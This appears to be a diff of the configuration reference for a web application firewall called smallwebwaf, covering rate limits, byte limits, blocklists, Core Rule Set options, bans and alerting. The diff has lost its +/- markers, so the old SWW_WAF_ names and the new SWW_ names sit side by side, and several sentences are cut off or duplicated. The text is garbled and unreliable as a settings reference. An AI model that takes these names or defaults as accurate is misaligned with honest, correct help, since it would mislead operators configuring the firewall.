- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
group, from 32 to 128.
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero.
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
keeps, a whole number above zero.
## Tokens
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_sww/clients/<ip>`. At least 32 characters.
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
least 32 characters.
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
32 characters.
## State files
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
files, an absolute path that exists and can be written.
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
absolute path that exists and can be written.
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file
is written. A duration.
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
written. A duration.
## Logging
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s
own messages that are written: `debug`, `info`, `warn` or `error`.
- `SWW_WAF_LOG_REQUEST_HEADERS` (default
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
messages that are written: `debug`, `info`, `warn` or `error`.
- `SWW_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`.
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more.
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused.
- `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
wait to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
a `syslog+tls` server's certificate must chain to, instead of the host's own.
A file that cannot be read, or holds no certificate, is refused.
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
to be sent, a whole number above zero.
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
in each syslog record, 1 to 48 printable ASCII characters without a space.
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
countries get series of their own. A whole number above zero.
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
get series of their own. A whole number above zero.
## Static lists
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
(see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits.
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
4 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client
The request past one of these limits is refused, and the client is banned.
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
a client may make in a minute. A count or `off`. The default leaves room for a
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
client may make in a minute. A count or `off`. The default leaves room for a
person opening two pages at once with an empty cache, up to 60 files each.
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading a site for an hour, a page every 20 seconds, makes about 900. A
scraper making one request every 2 seconds makes 1,800 an hour, more than the
limit.
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
make in a day. A count or `off`. The default is four hours at the hour limit.
A scraper making one request every 10 seconds makes 8,640 a day, more than the
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
in a day. A count or `off`. The default is four hours at the hour limit. A
scraper making one request every 10 seconds makes 8,640 a day, more than the
limit.
- A CI runner asks its code forge for work all day and can pass the limits. Put
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
rate limiting and the byte limits, such as `/assets/`.
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
limiting and the byte limits, such as `/assets/`.
## Byte limits, per client
@@ -129,240 +128,236 @@ counted for a request and its response are added to the client's total once the
response has ended. The request that takes a client's total past a limit is not
cut off; the client is banned.
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
count: response bodies, request bodies or both. The request that passes the
limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
anomaly thresholds count: `response`, the app's response bodies; `request`,
the visitors' request bodies; or `both`. What the visitor sent over a
WebSocket counts as request bytes, and what the app sent as response bytes.
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
which bytes count: response bodies, request bodies or both. The request that
passes the limit is not cut off, and the client is banned when its response
ends.
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
thresholds count: `response`, the app's response bodies; `request`, the
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
counts as request bytes, and what the app sent as response bytes.
## Lookup of AS number and country
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
stops the start while a setting that needs a lookup is set:
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
the start while a setting that needs a lookup is set:
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_ADD_LOOKUP_HEADERS`;
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
app the client's AS number in `X-Client-ASN` and its country in
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`.
## Country list
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country whose
`country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
`country=` tag is in `SWW_TAG_DENY` stops the start.
## Request tags
Every request gets tags from what `discriminator` knows of its client. See
"Request tags" in [`SPEC.md`](../SPEC.md).
- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
or the CrowdSec decision list.
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused.
- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
percentage among a client's tags applies. A tag listed twice is refused. So is
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted
it.
- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS.
`discriminator` asks it about each client, in the background, and adds the
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
unset, nothing asks routewatch and no request gets a `prefix=` tag.
`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
tag that no request can get stops the start. A request can get only these:
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
that no request can get stops the start. A request can get only these:
- a name in `SWW_WAF_TAG_LISTS`;
- a name in `SWW_TAG_LISTS`;
- an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
empty): a percentage of the byte limits alone, for the AS numbers or countries
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
or country listed twice is refused.
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
the lookup cannot place.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
a text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in
`SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
refused.
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
percentage of the byte limits alone, for the AS numbers or countries listed,
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
country listed twice is refused.
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
lookup cannot place.
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
## Attack detection
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
files.
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
paranoia level, from 1 to 4.
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
request is a match. A whole number above zero, or `off`.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4.
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
match. A whole number above zero, or `off`.
- `SWW_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own.
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
Rule Set does not inspect.
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
request body the Core Rule Set reads, a size of at most `64K`. A question
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
KiB less one byte of it, whatever the value (see "The answer" in
[`SPEC.md`](../SPEC.md)).
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
Set exclusions, written as Coraza directives. It is loaded before the Core
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
cannot be read or does not parse stops the start, whatever
`SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
900000 to 900999 outside a comment, alone or in a range. So does a directive
that removes or changes rules as the file loads, such as `SecRuleRemoveById`,
since none of the Core Rule Set's rules is loaded yet. It has no `_FILE` form.
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
not inspect.
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
exclusions, written as Coraza directives. It is loaded before the Core Rule
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
file that names a number from 900000 to 900999 outside a comment, alone or in
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
## Ban lengths, response and scope
- `SWW_WAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit.
A duration.
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
duration.
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
one that would be longer is permanent. A duration.
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
of attack. A duration.
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
that would be longer is permanent. A duration.
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. A duration.
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32.
## Reputation
- `SWW_WAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused.
- `SWW_WAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
last try before it is fetched again. A duration of `1h` or more.
- `SWW_WAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or
`log`.
- `SWW_WAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
try before it is fetched again. A duration of `1h` or more.
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key.
- `SWW_WAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones
through, such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an
optional port, 53 when none is given. Unset, the host's resolver is used.
- `SWW_WAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
port, 53 when none is given. Unset, the host's resolver is used.
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused.
- `SWW_WAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence
score, from 0 to 100, that is a hit.
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
without a user or a fragment; its decision list is at `v1/decisions` under it.
Set without the key, it is refused. So is a decision list URL that is also in
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
from 0 to 100, that is a hit.
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
user or a fragment; its decision list is at `v1/decisions` under it. Set
without the key, it is refused. So is a decision list URL that is also in
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
with AbuseIPDB may take. A duration.
## Alerting
- `SWW_WAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWW_WAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
value. A value cannot hold a comma.
- `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
that receives each alert as a message, checked as the webhook URL is.
- `SWW_WAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
as the webhook URL is.
- `SWW_WAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
value cannot hold a comma.
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
receives each alert as a message, checked as the webhook URL is.
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
webhook URL is.
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused.
- `SWW_WAF_ALERT_EVENTS` (default
- `SWW_ALERT_EVENTS` (default
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused.
- `SWW_WAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`.
- `SWW_WAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour.
A whole number above zero, or `off`.
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
whole number above zero, or `off`.
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`:
- `SWW_WAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length:
- `SWW_WAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client;
- `SWW_WAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client.
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
- `SWW_ANOMALY_ASN_...`: per AS number.
- `SWW_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
@@ -383,7 +378,7 @@ Then mount its directory into the container read-only, and name the file:
docker run \
-v /srv/app/tokens:/etc/sww/tokens:ro \
-e SWW_COMMAND=discriminator \
-e SWW_WAF_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
...
```
@@ -407,52 +402,51 @@ A few limits are fixed rather than settings:
## `discriminator`'s answer and `rproxy`'s wait
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
AbuseIPDB are asked in the background (see "Answering in time" under
"`discriminator`" in [`SPEC.md`](../SPEC.md)).
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
in the background (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)).
## `rproxy`
`sww rproxy` reads the settings below and no others. They are read once at
start, and an invalid value stops the start. Any can be given as a file, as a
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
start, and an invalid value stops the start. None can be given as a file, since
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `discriminator`'s URL. An
`http` or `https` URL with a host and an optional port, and nothing more.
